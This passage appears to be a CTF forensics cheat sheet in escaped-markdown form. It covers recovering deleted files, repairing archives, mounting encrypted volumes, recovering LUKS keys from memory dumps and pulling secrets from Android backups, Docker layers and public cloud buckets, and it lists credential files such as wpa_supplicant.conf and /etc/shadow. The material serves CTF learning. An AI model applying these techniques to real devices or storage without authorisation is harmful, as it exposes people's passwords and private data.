CTF Forensics & Blockchain Quick reference for forensics CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Ruby gems (all platforms): Additional Resources - 3d-printing.md - 3D printing forensics (PrusaSlicer binary G-code, QOIF, heatshrink) - windows.md - Windows forensics (registry, SAM, event logs, recycle bin, NTFS alternate data streams, USN journal, PowerShell history, Defender MPLog, WMI persistence, Amcache) - network.md - Network forensics basics (tcpdump, TLS/SSL k…

| sort | head\n```\n\n5. Find archive password similarly, decrypt layers\n\n---\n\n## Android Forensics\n\n```bash\n# Extract APK from device\nadb pull /data/app/com.target.app/base.apk\n\n# Analyze APK contents\napktool d base.apk -o decompiled/\n# Check: AndroidManifest.xml, res/values/strings.xml, shared_prefs/\n\n# Extract data from Android backup\nadb backup -apk -shared -all -f backup.ab\njava -jar abe.jar unpack backup.ab backup.tar\ntar xf backup.tar\n\n# SQLite databases (contacts, messages, browser history)\nsqlite3 /data/data/com.android.providers.contacts/databases/contacts2.db \".tables\"\nsqlite3 /data/data/com.android.providers.telephony/databases/mmssms.db \"SELECT * FROM sms\"\n\n# Parse Android filesystem image\nmkdir android_mount && mount -o ro android_image.img android_mount/\n# Key locations:\n# /data/data/\u003capp>/databases/ — app SQLite databases\n# /data/data/\u003capp>/shared_prefs/ — app preferences (XML)\n# /data/system/packages.xml — installed packages\n# /data/misc/wifi/wpa_supplicant.conf — saved WiFi passwords\n```\n\n**Key insight:** Android stores app data in `/data/data/\u003cpackage>/` with SQLite databases and XML shared preferences. `adb backup` captures the full app state. For CTFs, check `shared_prefs/` for hardcoded secrets and `databases/` for flags.\n\n---\n\n## Container Forensics (Docker)\n\n```bash\n# Export Docker image layers\ndocker save IMAGE:TAG -o image.tar\ntar xf image.tar\n# Each layer is a directory with layer.tar containing filesystem changes\n# Check: layer.tar files for added/modified files, deleted files (.wh.* whiteout)\n\n# Inspect image history for build commands (may contain secrets)\ndocker history IMAGE:TAG --no-trunc\n# Shows every Dockerfile instruction including ARGs and ENV values\n\n# Extract filesystem without running the container\ndocker create --name extract IMAGE:TAG\ndocker export extract -o container_fs.tar\ndocker rm extract\n\n# Analyze with dive (layer-by-layer diff viewer)\ndive IMAGE:TAG\n\n# Common forensic targets in container images:\n# /app/.env, /app/config/* — application secrets\n# /root/.bash_history — build-time commands\n# /etc/shadow — leaked credentials\n# Deleted files visible in earlier layers even if removed in later ones\n```\n\n**Key insight:** Docker images are layered — a file deleted in a later layer still exists in the earlier layer's tar. Use `docker history --no-trunc` to see full Dockerfile commands including secrets passed via `ARG` or `ENV`. The `dive` tool visualizes layer diffs interactively.\n\n---\n\n## Cloud Storage Forensics (AWS S3 / GCP / Azure)\n\n```bash\n# Enumerate public S3 buckets\naws s3 ls s3://target-bucket/ --no-sign-request\naws s3 cp s3://target-bucket/flag.txt . --no-sign-request\n\n# Check bucket versioning (previous versions may contain deleted flags)\naws s3api list-object-versions --bucket target-bucket --no-sign-request\naws s3api get-object --bucket target-bucket --key secret.txt --version-id VERSION_ID out.txt\n\n# GCP Cloud Storage\ngsutil ls gs://target-bucket/\ngsutil cp gs://target-bucket/flag.txt .\n\n# Azure Blob Storage\naz storage blob list --container-name target --account-name storageaccount\naz storage blob download --container-name target --name flag.txt --account-name storageaccount\n```\n\n**Key insight:** Cloud storage versioning preserves deleted objects. Even if a flag file is deleted from the bucket, previous versions may still be accessible via `list-object-versions`. Always check for versioning-enabled buckets.\n\n---\n\n## BSON (Binary JSON) Format Reconstruction (IceCTF 2016)\n\nBSON is MongoDB's binary serialization format. Corrupted BSON files need header repair before parsing, and may contain base64-encoded file fragments.\n\n```python\nimport bson\n\n# BSON header: first 4 bytes = little-endian document size\n# Fix corrupted header by setting correct size\nwith open('data.bson', 'rb') as f:\n data = bytearray(f.read())\n\n# Fix size header if corrupted (e.g., missing first 3 bytes)\nimport struct\ncorrect_size = len(data) + 3 # account for missing bytes\ndata = struct.pack('\u003cI', correct_size)[1:] + data # prepend missing bytes\n\n# Parse BSON documents\ndocs = bson.decode_all(bytes(data))\nfor doc in docs:\n print(doc)\n\n# Reconstruct file from BSON chunks (common pattern):\n# Each document has: {index: N, data: \"base64_chunk\"}\nimport base64\nchunks = sorted(docs, key=lambda d: d.get('index', d.get('i', 0)))\nreconstructed = b''\nfor chunk in chunks:\n b64_data = chunk.get('data', chunk.get('d', ''))\n reconstructed += base64.b64decode(b64_data)\n\nwith open('reconstructed.png', 'wb') as f:\n f.write(reconstructed)\n```\n\n**Key insight:** BSON starts with a 4-byte little-endian size field. If the file appears corrupted, check if the first bytes are missing or incorrect. Parse with `bson.decode_all()` (from pymongo), sort chunks by index, and concatenate base64-decoded data to reconstruct embedded files.\n\n---\n\n## TrueCrypt / VeraCrypt Volume Mounting (GreHack CTF 2016)\n\nEncrypted volumes in CTF challenges may use TrueCrypt or VeraCrypt. Identify by logo/branding clues, then mount with a recovered keyfile or password.\n\n```bash\n# Identify TrueCrypt volumes:\n# - No file signature/magic bytes (by design)\n# - Exact size is multiple of 512 bytes\n# - High entropy throughout the file\n# - Context clues: TrueCrypt logo in related images\n\n# Mount with password:\ntruecrypt -t -p \"password123\" volume.tc /mnt/tc\nveracrypt -t -p \"password123\" volume.tc /mnt/vc\n\n# Mount with keyfile (no password):\ntruecrypt -t -p \"\" -k keyfile.png volume.tc /mnt/tc\nveracrypt -t -p \"\" -k keyfile.png volume.tc /mnt/vc\n\n# Mount hidden volume (different password):\ntruecrypt -t -p \"hidden_password\" volume.tc /mnt/tc\n\n# Common keyfile locations in CTFs:\n# - Images extracted from other challenge steps\n# - GPG-encrypted files with keys found in git repos\n# - Files embedded in other forensic artifacts\n\n# If TrueCrypt is not available (discontinued):\n# Use VeraCrypt (backwards-compatible with TrueCrypt volumes)\n# Add --truecrypt flag for old TC volumes:\nveracrypt -t --truecrypt -p \"password\" volume.tc /mnt/vc\n```\n\n**Key insight:** TrueCrypt volumes have no magic bytes or identifiable header -- they look like random data. Identify them from context clues (related images showing TrueCrypt logo, file sizes that are exact multiples of 512, or challenge descriptions mentioning encryption). VeraCrypt with `--truecrypt` flag handles legacy TC volumes.\n\n---\n\n## Volatility mftparser Offset-Based Deleted File Recovery (BSides Delhi 2018)\n\n**Pattern:** Standard `dumpfiles` or `filescan` + `dumpfiles --physaddr` fails on a deleted file because its directory entry has been marked free. The MFT record that still holds the file's `$DATA` attribute survives until the record is reused. Volatility 2's `mftparser` can dump the resident `$DATA` directly when given the exact `--offset` of the MFT record found via `filescan`.\n\n```bash\n# 1. Locate the MFT record offset (Volatility 2 example; Vol3 uses windows.mftscan)\nvol.py -f Challenge.raw --profile=Win7SP1x86 mftparser \\\n | grep -A2 \"target_filename\"\n\n# 2. Dump every attribute of the matching MFT entry, including $DATA\nvol.py -f Challenge.raw --profile=Win7SP1x86 mftparser \\\n --offset=0x7ca3c00 --dump-dir=./out/\n\nls ./out/\n# file.data.$DATA contains the recovered content\n```\n\n**Key insight:** NTFS marks files \"deleted\" by flipping one bit in the MFT record header (`0x16` byte: `0x01 == in use`). Until the record is reallocated, the entire `$DATA` attribute is still intact and only lazily freed. Use `mftparser --offset=\u003crecord>` for resident files (under ~700 bytes — stored inline in the MFT) and `dd`/`icat` with the cluster runs for larger files. Always also grep for the filename in `windows.mftscan` output before giving up: memory-resident MFT fragments are still findable after on-disk deletion.\n\n**References:** BSides Delhi CTF 2018 — Never Too Late Mister, writeups 11963, 11970\n\n---\n\n## Brotli Blob Detection via ASCII-Art Signature (ASIS Finals 2018)\n\n**Pattern:** Binwalk and `file` miss Brotli-compressed data because the format has no fixed magic. Decompress candidate blobs with `brotli.decompress()`; the Brotli reference implementation embeds its own ASCII-art logo `Brrroootttllliii` as a sanity-check output. If the decompressed bytes contain that or other Brotli-specific telemetry strings, the original blob was Brotli.\n\n```python\nimport brotli\ntry:\n out = brotli.decompress(blob)\n if b'rrrooottl' in out or b'Brotli' in out:\n print('Brotli-compressed')\nexcept Exception: pass\n```\n\n**Key insight:** Any compressor without a magic byte is identifiable by trial decompression. For Brotli, `zstd`, `snappy`, `lzma-alone`, spin through each library in order until one succeeds without raising.\n\n**References:** ASIS CTF Finals 2018 — Green Cabbage, writeup 12419\n\n---\n\n## corkami/pocs MD5 PDF Collision Generation (35C3 2018)\n\n**Pattern:** Challenge demands two valid PDFs with the same MD5 but different content. Use corkami/pocs `pdf.py` combined with `enscript | ps2pdf` to produce a PDF header with collision-friendly padding, then drive the collision via `fastcoll` (or `hashclash` for chosen-prefix). Works because the PDF format tolerates garbage in the `%PDF` trailer region that the MD5 collision block can overwrite.\n\n```bash\nenscript -p out.ps content.txt\nps2pdf out.ps base.pdf\npython pdf.py base.pdf target1.pdf target2.pdf\nfastcoll -p base.pdf -o target1.pdf target2.pdf\nmd5sum target1.pdf target2.pdf # identical\n```\n\n**Key insight:** PDF collision is a one-command pipeline with the right toolchain. The harder variant is chosen-prefix MD5 (different visible content) which requires `hashclash` and 10-20 CPU-hours. Check `pocs/collisions/` for every file format with prebuilt scaffolds.\n\n**References:** 35C3 CTF 2018 — collider, writeup 12836\n\n---\n\n## See Also\n\n- [disk-advanced.md](disk-advanced.md) - Advanced disk and memory techniques (deleted partition recovery, ZFS forensics, GPT GUID encoding, VMDK sparse parsing, memory dump string carving, ransomware key recovery, WordPerfect macro XOR, minidump ISO 9660 recovery, APFS snapshot recovery, RAID 5 XOR recovery, Kyoto Cabinet hash DB forensics)\n- [disk-recovery.md](disk-recovery.md) - Disk recovery and extraction patterns (LUKS master key recovery, PRNG timestamp seed brute-force, VBA macro binary recovery, FemtoZip decompression, XFS reconstruction, tar duplicate entry extraction, nested matryoshka filesystem extraction, anti-carving via null byte interleaving)\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":20086,"content_sha256":"1c239b45e22c191754bcd3dd79ba2c0a9699f3bf6a72be1526d7c40744694ecb"},{"filename":"disk-recovery.md","content":"# CTF Forensics - Disk Recovery and Extraction Patterns\n\n## Table of Contents\n- [LUKS Master Key Recovery from Memory Dump (Hack.lu 2015)](#luks-master-key-recovery-from-memory-dump-hacklu-2015)\n- [PRNG Timestamp Seed Brute-Force for Encryption Key Recovery (CSAW 2015)](#prng-timestamp-seed-brute-force-for-encryption-key-recovery-csaw-2015)\n- [VBA Macro Encoded Binary Recovery (Sharif CTF 2016)](#vba-macro-encoded-binary-recovery-sharif-ctf-2016)\n- [FemtoZip Shared Dictionary Decompression (Sharif CTF 2016)](#femtozip-shared-dictionary-decompression-sharif-ctf-2016)\n- [XFS Filesystem Reconstruction from Corrupted Metadata (BSidesSF 2025)](#xfs-filesystem-reconstruction-from-corrupted-metadata-bsidessf-2025)\n- [Tar Archive Duplicate Entry Extraction (BSidesSF 2025)](#tar-archive-duplicate-entry-extraction-bsidessf-2025)\n- [Nested Matryoshka Filesystem Extraction (BSidesSF 2025)](#nested-matryoshka-filesystem-extraction-bsidessf-2025)\n- [Anti-Carving via Null Byte Interleaving (BSidesSF 2024)](#anti-carving-via-null-byte-interleaving-bsidessf-2024)\n- [BTRFS Subvolume/Snapshot Recovery (BSidesSF 2026)](#btrfs-subvolumesnapshot-recovery-bsidessf-2026)\n- [FAT16 Free Space Data Recovery (BSidesSF 2026)](#fat16-free-space-data-recovery-bsidessf-2026)\n- [FAT16 Deleted File Recovery via Sleuth Kit (MetaCTF Flash 2026)](#fat16-deleted-file-recovery-via-sleuth-kit-metactf-flash-2026)\n- [Ext2 Orphaned Inode Recovery via fsck (BSidesSF 2026)](#ext2-orphaned-inode-recovery-via-fsck-bsidessf-2026)\n- [Corrupted ZIP Repair via Header Field Manipulation (PlaidCTF 2017)](#corrupted-zip-repair-via-header-field-manipulation-plaidctf-2017)\n- [Recovering Deleted .git Repository from FAT Image (Square CTF 2017)](#recovering-deleted-git-repository-from-fat-image-square-ctf-2017)\n- [DNSSEC Key Recovery from Git Commit History (Hack.lu 2017)](#dnssec-key-recovery-from-git-commit-history-hacklu-2017)\n- [XZ Stream Header Repair via CRC32 Reconstruction (Hackover 2018)](#xz-stream-header-repair-via-crc32-reconstruction-hackover-2018)\n- [ZipCrypto Known-Plaintext Cracking via bkcrack (Codegate 2019)](#zipcrypto-known-plaintext-cracking-via-bkcrack-codegate-2019)\n- [SQLite Serial-Type Byte Forensics (RITSEC 2018)](#sqlite-serial-type-byte-forensics-ritsec-2018)\n- [Recursive Binwalk Chain PNG->PDF->DOCX->PNG->Base64 (TAMUctf 2019)](#recursive-binwalk-chain-png-pdf-docx-png-base64-tamuctf-2019)\n- [Regex-Password Nested Zip Chain with exrex (UTCTF 2019)](#regex-password-nested-zip-chain-with-exrex-utctf-2019)\n- [See Also](#see-also)\n\n---\n\n## LUKS Master Key Recovery from Memory Dump (Hack.lu 2015)\n\nRecover LUKS encryption keys from VM memory dumps using AES key schedule detection:\n\n1. **Extract memory:** Obtain memory dump from VM snapshot (.elf, .vmem, .raw)\n2. **Find AES keys:** Use `aeskeyfind` to detect AES key schedules in memory\n\n```bash\naeskeyfind memory.elf\n# Output: candidate AES-256 keys (64 hex chars each)\n```\n\n3. **Write key to file:** Convert hex key to binary\n\n```bash\necho \"deadbeef...\" | xxd -r -p > master.key\n```\n\n4. **Add new LUKS passphrase using master key:**\n\n```bash\ncryptsetup luksAddKey --master-key-file master.key /dev/mapper/volume\n# Enter new passphrase when prompted\ncryptsetup luksOpen /dev/mapper/volume decrypted\nmount /dev/mapper/decrypted /mnt\n```\n\n**Key insight:** AES key schedules have a distinctive mathematical structure that `aeskeyfind` detects regardless of where they appear in memory. Works for LUKS, dm-crypt, FileVault, and BitLocker volumes.\n\nCompanion tools: `rsakeyfind` (RSA keys), `aesfix` (corrupted key recovery).\n\n---\n\n## PRNG Timestamp Seed Brute-Force for Encryption Key Recovery (CSAW 2015)\n\nWhen encryption keys are generated from PRNG seeded with timestamps, brute-force the seed:\n\n1. **Identify seed source:** Look for `Time.now.to_i`, `time(NULL)`, `System.currentTimeMillis()` used as PRNG seed\n2. **Determine time window:** Use file metadata (creation/modification timestamps) to bound the search\n3. **Brute-force seeds:** Try each second in a +/-24 hour window around the file timestamp\n\n```python\nimport struct\nfrom Crypto.Cipher import AES\n\n# Ruby-compatible Random implementation (or use ctypes for C rand)\nfor seed in range(timestamp - 86400, timestamp + 86400):\n rng = RandomWithSeed(seed)\n key = bytes([rng.rand(256) for _ in range(32)]) # AES-256\n iv = bytes([rng.rand(256) for _ in range(16)])\n\n cipher = AES.new(key, AES.MODE_CBC, iv)\n plaintext = cipher.decrypt(ciphertext)\n\n # Validate: check for known file signatures\n if plaintext[:4] == b'\\x89PNG' or plaintext[:2] == b'\\xff\\xd8':\n print(f\"Found key with seed: {seed}\")\n break\n```\n\n**Key insight:** Expand the time window beyond the obvious timestamp -- clock skew, timezone differences, and filesystem granularity can shift the effective seed by hours.\n\n---\n\n## VBA Macro Encoded Binary Recovery (Sharif CTF 2016)\n\nExcel/Word macros may encode binary data in cell values. Extract and decode:\n\n1. **Extract macro:** Use `olevba` or open in LibreOffice to inspect VBA code\n2. **Identify encoding:** Look for cell iteration patterns like `Cells(i, j).Value`\n3. **Reverse the encoding formula:**\n\n```python\n# If macro encodes as: cell_value = byte_value * 3 + 78\n# Reverse: byte_value = (cell_value - 78) // 3\n\nimport openpyxl\nwb = openpyxl.load_workbook('challenge.xlsx')\nws = wb.active\n\nbinary_data = bytearray()\nfor row in ws.iter_rows():\n for cell in row:\n if cell.value is not None:\n binary_data.append((int(cell.value) - 78) // 3)\n\nwith open('recovered.elf', 'wb') as f:\n f.write(binary_data)\n```\n\n**Key insight:** Check the recovered file with `file` command -- common outputs are ELF binaries, PE executables, or images containing the flag.\n\n---\n\n## FemtoZip Shared Dictionary Decompression (Sharif CTF 2016)\n\nFemtoZip uses a shared dictionary model for compressing corpora of similar documents. When given a `.model` file and compressed data:\n\n```bash\n# Install femtozip\ngit clone https://github.com/gtoubassi/femtozip\ncd femtozip && make\n\n# Decompress using provided model\n./fzip --model fashion.model --decompress compressed_dir/ --output decompressed_dir/\n```\n\nAfter decompression, search through potentially thousands of files:\n\n```bash\n# Filter by metadata fields\ngrep -r \"category.*forensic\" decompressed_dir/ | grep \"year.*2016\"\n```\n\n**Key insight:** FemtoZip is rare in CTFs. Identify it by the `.model` file and the presence of many small compressed files that share common structure (JSON, XML templates).\n\n---\n\n## XFS Filesystem Reconstruction from Corrupted Metadata (BSidesSF 2025)\n\nWhen XFS superblock or allocation group metadata is corrupted but inodes are intact:\n\n1. **Parse inode directly:** XFS inodes contain extent lists with `[startoff, startblock, blockcount]` tuples\n2. **Calculate block offsets:** Multiply startblock by filesystem block size (typically 4K)\n3. **Extract file data:** Copy blocks directly from the raw disk image\n\n```bash\n# Extract file from known inode extent\n# startblock=104333, blockcount=256, block_size=4096\ndd if=disk.img bs=4096 skip=104333 count=256 of=recovered.jpg\n\n# Parse XFS inode structure (at known offset)\npython3 -c \"\nimport struct\nwith open('disk.img', 'rb') as f:\n f.seek(inode_offset)\n magic = f.read(2) # 'IN' = 0x494e\n # Parse di_core (96 bytes): mode, uid, gid, nlink, size, etc.\n # Parse extent list: each extent = 16 bytes\n # startoff (54 bits) | startblock (52 bits) | blockcount (21 bits)\n\"\n```\n\n**Key insight:** XFS stores extent maps inline in the inode (up to ~4 extents). For files with more extents, follow the B+tree root in the inode. Use `xfs_db` if available: `xfs_db -r disk.img` → `inode \u003cnum>` → `print`.\n\n---\n\n## Tar Archive Duplicate Entry Extraction (BSidesSF 2025)\n\nTar format allows multiple entries with the same filename. Standard extraction overwrites earlier entries, but specific occurrences can be targeted:\n\n```bash\n# List all entries (shows duplicates)\ntar -tvf archive.tar.xz | grep -c '^\\.'\n\n# Extract specific occurrence (1-indexed)\ntar -Jxvf archive.tar.xz '.' --occurrence=2 -O > second_entry.bin\n\n# Extract all occurrences via file carving\nbinwalk -e archive.tar\n# Or iterate programmatically\npython3 -c \"\nimport tarfile\nwith tarfile.open('archive.tar.xz') as tf:\n for i, member in enumerate(tf.getmembers()):\n if member.name == '.':\n data = tf.extractfile(member).read()\n with open(f'entry_{i}.bin', 'wb') as f:\n f.write(data)\n\"\n```\n\n**Key insight:** The `--occurrence=N` flag in GNU tar selects the Nth entry with a matching name. Without it, only the last entry survives extraction. Challenges may hide flags in middle entries that normal extraction skips.\n\n---\n\n## Nested Matryoshka Filesystem Extraction (BSidesSF 2025)\n\nDisk images containing nested compressed filesystem layers (potentially 10-20+ levels deep):\n\n```bash\n#!/bin/bash\n# Automated layer extraction\nIMG=\"disk.img\"\nfor i in $(seq 1 20); do\n echo \"=== Layer $i ===\"\n file \"$IMG\"\n\n # Detect and decompress\n case \"$(file -b \"$IMG\")\" in\n *XZ*) xz -d \"$IMG\"; IMG=\"${IMG%.xz}\" ;;\n *gzip*) gunzip \"$IMG\"; IMG=\"${IMG%.gz}\" ;;\n *ext4*)\n mkdir -p \"layer_$i\"\n sudo mount -o ro,loop \"$IMG\" \"layer_$i\"\n IMG=$(find \"layer_$i\" -type f -name \"*.img\" -o -name \"*.xz\" | head -1)\n ;;\n *ISO*|*HFS*|*XFS*|*AmigaDOS*)\n mkdir -p \"layer_$i\"\n sudo mount -o ro,loop \"$IMG\" \"layer_$i\" 2>/dev/null || \\\n sudo mount -t affs -o ro,loop \"$IMG\" \"layer_$i\" 2>/dev/null\n IMG=$(find \"layer_$i\" -type f | head -1)\n ;;\n esac\ndone\n```\n\nFilesystem types encountered: ext4, XFS, HFS/HFS+, AFFS (AmigaDOS), FAT. Use `losetup` with `--offset` for partitioned images. Final layer typically contains an image or text file with the flag.\n\n**Key insight:** Install uncommon filesystem drivers (`hfsplus`, `affs`) beforehand. Some layers require manual sector offset calculation when partition tables are absent.\n\n---\n\n## Anti-Carving via Null Byte Interleaving (BSidesSF 2024)\n\nFiles stored with null bytes inserted at every other position defeat magic-byte-based file carving tools (binwalk, foremost, scalpel):\n\n1. **Identify anti-carving:** File carving finds nothing, but `xfs_db` or filesystem-level tools show the file exists with correct size\n2. **Extract raw blocks:** Use filesystem extent information to locate file data\n\n```bash\n# XFS: find file extents\nxfs_db -r disk.img -c 'inode \u003cinum>' -c 'print'\n# Extract extent data\ndd if=disk.img bs=4096 skip=\u003cstartblock> count=\u003cblockcount> of=raw.bin\n```\n\n3. **Remove interleaved null bytes:** Keep only even-positioned (or odd-positioned) bytes\n\n```python\nwith open('raw.bin', 'rb') as f:\n data = f.read()\n# Remove null bytes at odd positions\ncleaned = bytes(data[i] for i in range(0, len(data), 2))\nwith open('recovered.png', 'wb') as f:\n f.write(cleaned)\n```\n\n```perl\n# Perl one-liner equivalent\nperl -0777 -pe 's/(.)./\\1/gs' raw.bin > recovered.png\n```\n\n**Key insight:** When file carving fails but the filesystem metadata is intact, extract via block-level access and look for byte-level obfuscation patterns. Null byte interleaving doubles the file size — compare actual size vs expected size as a detection heuristic.\n\n---\n\n---\n\n## BTRFS Subvolume/Snapshot Recovery (BSidesSF 2026)\n\n**Pattern (turn-back-the-clock):** Deleted files on a BTRFS filesystem may persist in snapshots or alternate subvolumes. The default mount shows only the active subvolume, but backup snapshots contain historical file states.\n\n**Recovery workflow:**\n```bash\n# 1. Set up loop device\nsudo losetup /dev/loop0 challenge.img\n\n# 2. List available subvolumes\nsudo btrfs subvolume list /dev/loop0\n# Output: ID 256 gen 7 top level 5 path @\n# ID 257 gen 5 top level 5 path @backup\n\n# 3. Mount the default subvolume (may show deleted files as missing)\nsudo mount /dev/loop0 /mnt/default\nls /mnt/default/ # Flag file missing\n\n# 4. Mount the backup subvolume\nsudo mount -o subvol=@backup /dev/loop0 /mnt/backup\nls /mnt/backup/ # Flag file present!\ncat /mnt/backup/flag.txt\n\n# 5. Alternative: mount by subvolume ID\nsudo mount -o subvolid=257 /dev/loop0 /mnt/backup\n```\n\n**Key BTRFS commands for forensics:**\n```bash\n# Show filesystem info\nbtrfs filesystem show /dev/loop0\n\n# List all subvolumes (including snapshots)\nbtrfs subvolume list -a /mnt\n\n# Show snapshot details\nbtrfs subvolume show /mnt/@backup\n\n# Find deleted subvolumes (orphaned)\nbtrfs-find-root /dev/loop0\n```\n\n**BTRFS snapshot types:**\n- **Writable subvolumes:** `@`, `@home` — standard Ubuntu layout\n- **Read-only snapshots:** Created by `btrfs subvolume snapshot -r` — immutable copies\n- **Backup subvolumes:** `@backup`, `@snap-YYYYMMDD` — naming varies by tool (Timeshift, snapper)\n\n**Key insight:** BTRFS is copy-on-write. Deleting a file from the active subvolume doesn't erase the data if a snapshot or alternate subvolume still references those blocks. Always enumerate all subvolumes with `btrfs subvolume list`. The `-o subvol=` mount option is the key to accessing non-default subvolumes.\n\n**Detection:** `file disk.img` shows \"BTRFS Filesystem\". Challenge mentions \"snapshots\", \"time travel\", \"turn back\", or \"recovery\".\n\n**References:** BSidesSF 2026 \"turn-back-the-clock\"\n\n---\n\n## FAT16 Free Space Data Recovery (BSidesSF 2026)\n\n**Pattern (freeflag):** Data is hidden in the free (unallocated) clusters of a FAT16 filesystem. The mounted filesystem shows no suspicious files, but free clusters contain recoverable data.\n\n```python\nimport struct\n\nwith open(\"disk.img\", \"rb\") as f:\n # Read FAT16 boot sector\n f.seek(0)\n boot = f.read(512)\n bytes_per_sector = struct.unpack_from(\"\u003cH\", boot, 11)[0]\n sectors_per_cluster = boot[13]\n reserved_sectors = struct.unpack_from(\"\u003cH\", boot, 14)[0]\n num_fats = boot[16]\n sectors_per_fat = struct.unpack_from(\"\u003cH\", boot, 22)[0]\n root_entries = struct.unpack_from(\"\u003cH\", boot, 17)[0]\n\n cluster_size = bytes_per_sector * sectors_per_cluster\n fat_start = reserved_sectors * bytes_per_sector\n root_dir_start = fat_start + (num_fats * sectors_per_fat * bytes_per_sector)\n data_start = root_dir_start + (root_entries * 32)\n\n # Read FAT table\n f.seek(fat_start)\n fat = f.read(sectors_per_fat * bytes_per_sector)\n\n # Find free clusters (FAT entry == 0x0000)\n free_data = b\"\"\n for cluster in range(2, len(fat) // 2):\n entry = struct.unpack_from(\"\u003cH\", fat, cluster * 2)[0]\n if entry == 0x0000: # Free cluster\n offset = data_start + (cluster - 2) * cluster_size\n f.seek(offset)\n free_data += f.read(cluster_size)\n\n # Search for flag in free space\n if b\"CTF{\" in free_data:\n idx = free_data.index(b\"CTF{\")\n print(free_data[idx:idx+100])\n```\n\n**Key insight:** FAT16/FAT32 mark deleted file clusters as \"free\" (entry = 0x0000) but don't zero the data. Enumerating free clusters and reading their contents recovers deleted or hidden data. Tools like `foremost`, `scalpel`, or manual FAT parsing extract this data. Check the volume label for hints (e.g., \"FREESPACE\").\n\n**When to recognize:** Challenge provides a filesystem image. Mounting shows nothing useful, but `file` identifies it as FAT16/FAT32. Volume label or challenge description hints at \"free space\", \"deleted\", or \"hidden in plain sight\".\n\n**References:** BSidesSF 2026 \"freeflag\"\n\n---\n\n## FAT16 Deleted File Recovery via Sleuth Kit (MetaCTF Flash 2026)\n\n**Pattern (rm -rf flag.png):** A file has been deleted from a FAT16 filesystem image. The file's data and cluster chain remain intact, but the directory entry's first byte is replaced with `0xE5` (the FAT deletion marker). Sleuth Kit's `fls` and `icat` recover the file by inode.\n\n```bash\n# Step 1: Identify the filesystem\nfile flash.img\n# flash.img: DOS/MBR boot sector, code offset 0x3e+2, ... FAT (16 bit) ...\n\n# Step 2: List all files including deleted ones (-d = deleted only, -r = recursive)\nfls -r -d flash.img\n# r/r * 4: _lag.png (first char replaced by FAT deletion marker)\n\n# Step 3: Recover the deleted file by its inode number\nicat flash.img 4 > recovered_flag.png\n\n# Step 4: Verify recovery\nfile recovered_flag.png\n# recovered_flag.png: PNG image data, 800 x 600, 8-bit/color RGBA\n```\n\n**Key insight:** FAT16/FAT32 deletion only marks the directory entry's first byte as `0xE5` and marks clusters as free in the FAT table, but the actual file data remains on disk until overwritten. The filename appears scrambled (e.g., `flag.png` becomes `_lag.png`), but `fls -d` lists deleted entries and `icat` extracts the full file by following the original cluster chain. This is more targeted than free space carving because it preserves the original file boundaries.\n\n**When to recognize:** Challenge provides a FAT filesystem image with a deleted file. The challenge name or description hints at deletion (`rm`, `deleted`, `removed`). Mount shows the file is missing, but `fls` reveals the deleted directory entry.\n\n**Alternative approaches:**\n- `foremost` / `scalpel` for carving without filesystem awareness\n- `fatcat` for low-level FAT manipulation\n- Manual hex editing: search for `0xE5` entries in directory clusters\n\n**References:** MetaCTF Flash CTF 2026 \"rm -rf flag.png\"\n\n---\n\n## Ext2 Orphaned Inode Recovery via fsck (BSidesSF 2026)\n\n**Pattern (orphan):** A file has been deleted from an ext2 filesystem, leaving an orphaned inode. The file doesn't appear in any directory listing, but `fsck` detects the unattached inode and can reconnect it to `/lost+found`.\n\n```bash\n# Mount the image — no flag visible\nsudo mount -o loop disk.img /mnt\nls /mnt # Nothing useful\n\n# Run fsck to detect orphaned inodes\nsudo umount /mnt\ne2fsck -y disk.img\n# Output: \"Unattached inode 13\"\n# Output: \"Connect to /lost+found? yes\"\n\n# Re-mount and check lost+found\nsudo mount -o loop disk.img /mnt\nls /mnt/lost+found/\n# Found: #13\nfile /mnt/lost+found/\\#13 # Identify file type (e.g., PNG)\ncp /mnt/lost+found/\\#13 recovered_flag.png\n```\n\n**Key insight:** Ext2/ext3/ext4 deletion removes directory entries but the inode and data blocks may persist until overwritten. `e2fsck` (with `-y` for auto-fix) detects these orphaned inodes and reconnects them to `/lost+found` with numeric names. For ext2 specifically (no journaling), recovery is more reliable because blocks aren't zeroed on deletion.\n\n**When to recognize:** Challenge provides an ext2/ext3/ext4 filesystem image. Normal mounting shows nothing. Challenge hints at \"deleted\", \"orphan\", \"lost\", or \"recovery\". Always run `fsck` on forensics filesystem images.\n\n**Alternative tools:**\n- `debugfs` — interactive ext2 exploration: `debugfs disk.img` then `lsdel` to list deleted inodes\n- `extundelete` — automated ext3/ext4 recovery\n- `icat` (Sleuth Kit) — extract file by inode number: `icat disk.img 13 > recovered`\n\n**References:** BSidesSF 2026 \"orphan\"\n\n---\n\n## Corrupted ZIP Repair via Header Field Manipulation (PlaidCTF 2017)\n\nZIP archives with corrupted filename length fields can be repaired by hex-editing both the Local File Header and Central Directory Entry.\n\n```python\n# ZIP Local File Header format (at offset 0x04 from PK\\x03\\x04):\n# Offset 26: filename length (2 bytes, little-endian)\n# ZIP Central Directory Entry (at PK\\x01\\x02):\n# Offset 28: filename length (2 bytes, little-endian)\n\n# Fix: set both filename lengths to actual filename size\nimport struct\nwith open('broken.zip', 'rb') as f:\n data = bytearray(f.read())\n\n# Find and fix Local File Header filename length\nlfh = data.index(b'PK\\x03\\x04')\nstruct.pack_into('\u003cH', data, lfh + 26, 8) # set to 8 bytes\n\n# Find and fix Central Directory filename length\ncde = data.index(b'PK\\x01\\x02')\nstruct.pack_into('\u003cH', data, cde + 28, 8) # must match\n\n# Write fixed bytes as filename\ndata[lfh+30:lfh+38] = b'flag.txt'\n\nwith open('fixed.zip', 'wb') as f:\n f.write(data)\n\n# Alternative: brute-force deflate at candidate offsets\nimport zlib\nwith open('broken.zip', 'rb') as f:\n raw = f.read()\nfor offset in range(0x1E, 0x100):\n try:\n result = zlib.decompress(raw[offset:], -15)\n print(f\"Offset {offset:#x}: {result}\")\n break\n except zlib.error:\n continue\n```\n\n**Key insight:** ZIP filename length fields appear in both the Local File Header (offset 26) and Central Directory (offset 28). Both must match and reflect the actual filename. When these are corrupted to absurd values (e.g., 9001), the archive appears empty. As a fallback, brute-force raw deflate decompression at candidate data offsets.\n\n**Detection:** ZIP file that `unzip -l` reports as empty or produces errors about invalid filename lengths. `hexdump` shows valid `PK\\x03\\x04` and `PK\\x01\\x02` signatures but unreasonable values in length fields.\n\n---\n\n## Recovering Deleted .git Repository from FAT Image (Square CTF 